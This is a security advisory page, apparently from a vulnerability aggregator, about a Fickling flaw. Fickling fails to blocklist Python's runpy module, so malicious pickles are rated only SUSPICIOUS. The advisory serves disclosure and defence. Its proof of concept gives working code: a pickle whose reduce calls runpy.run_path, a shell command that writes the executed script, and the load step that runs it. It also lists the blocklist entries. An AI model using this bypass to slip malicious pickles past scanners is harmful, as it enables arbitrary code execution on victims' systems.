High

Fickling has a bypass via runpy.run_path() and runpy.run_module()

  • Disclosed: 09.01.2026
  • Updated: 11.10.2026 13:18

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

  • File: fickling/analysis.py
  • Class: UnsafeImports
  • Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:

  • PR #187 added pty to the blocklist to fix CVE-2025-67748
  • PR #108 documented the blocklist approach
  • The same fix pattern should be applied for runpy

How the bypass works:

  1. Attacker creates a pickle using runpy.run_path() in __reduce__
  2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
  3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
  4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Function Fickling Severity RCE Capable
os.system LIKELY_OVERTLY_MALICIOUS Yes
eval OVERTLY_MALICIOUS Yes
exec OVERTLY_MALICIOUS Yes
runpy.run_path SUSPICIOUS Yes ← BYPASS
runpy.run_module SUSPICIOUS Yes ← BYPASS

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py:

  • runpy
  • runpy.run_path
  • runpy.run_module
  • runpy._run_code
  • runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:

  • Python 3.13.2
  • fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH

  • The attacker achieves arbitrary code execution
  • The security control (fickling) is specifically designed to prevent this
  • The bypass requires no special conditions beyond crafting the pickle with runpy

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) fickling < 0.1.7 0.1.7

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-184, CWE-502
Platform
Python (PyPI)
Package
fickling
Disclosed
09.01.2026
Updated
11.10.2026 13:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1373 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-wfq2-52f7-7qvj - CC BY 4.0

Vulnerability history: fickling

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (16) in the archive
Total entries
16
First → latest
12.2025 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 11
  • Medium 3
  • Low 1

Disclosures per year

  1. 2025: 2
  2. 2026: 14
Severity:
  1. High ghsa-5hwf-rc88-82xm < 0.1.9 0.1.9
  2. High CVE-2026-22607 < 0.1.7 0.1.7
  3. Fickling has a bypass via runpy.run_path() and runpy.run_module() this entry
    High CVE-2026-22606 < 0.1.7 0.1.7

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.